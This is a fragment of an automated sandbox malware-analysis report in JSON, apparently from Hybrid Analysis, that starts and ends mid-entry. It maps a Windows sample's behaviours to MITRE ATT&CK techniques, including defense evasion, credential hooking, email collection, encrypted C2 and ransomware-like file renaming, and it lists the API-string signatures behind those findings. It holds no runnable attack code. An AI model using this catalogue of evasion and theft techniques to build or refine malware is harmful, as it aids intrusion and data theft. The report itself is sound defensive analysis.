trick)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains the ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Calls an API typically to used to retrieve file or directory information"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to lookup its own filename"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk"},{"type":"informative","value":"Contains ability to read files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Contains ability to enumerate services"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains the ability to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to query the machine timezone"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register protocol sequence (RPC)"},{"type":"informative","value":"Calls an API typically used to create string binding handle (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"},{"type":"informative","value":"Attempts to write Outlook-related files (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains reference to OpenSSL library string"},{"type":"informative","value":"Shows ability to use asymmetric encryption algorithm"},{"type":"informative","value":"References OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found string related to HTTP headers"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Contains ability to copy files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP urls in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"Contains long base64 encoded strings"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"HTTP request contains Base64 encoded artifacts"},{"type":"informative","value":"Contains ability to attach base64 encoded attachment to an email"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Contains ability to use AES encryption instructions"},{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API typically used to terminate process and its threads"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"malicious","value":"Rename many files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"The input sample dropped very many files"}],"sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to attach base64 encoded attachment to an email","description":"$27","origin":"File/Memory","mitre_attack_id":"T1132.001","relevance":3,"id":"string-588","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to lookup its own filename","description":"PathFindFileNameW@SHLWAPI.DLL at 00000000-00006344-20777-111-00412220\n PathFindFileNameW@SHLWAPI.DLL at 00000000-00006344-20777-65-00411CD0\n PathFindFileNameW@SHLWAPI.DLL at 00000000-00005728-35490-65-00411CD0\n PathFindFileNameW@SHLWAPI.DLL at 00000000-00005728-35490-111-00412220","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":5,"id":"stream-65","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains long base64 encoded strings","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-500","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains the ability to modify system service (API string)","description":"Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"ControlService\" (Indicator: \"ControlService\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005728.00000001.82597.00870000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006576.00000000.78354.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$2d","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: 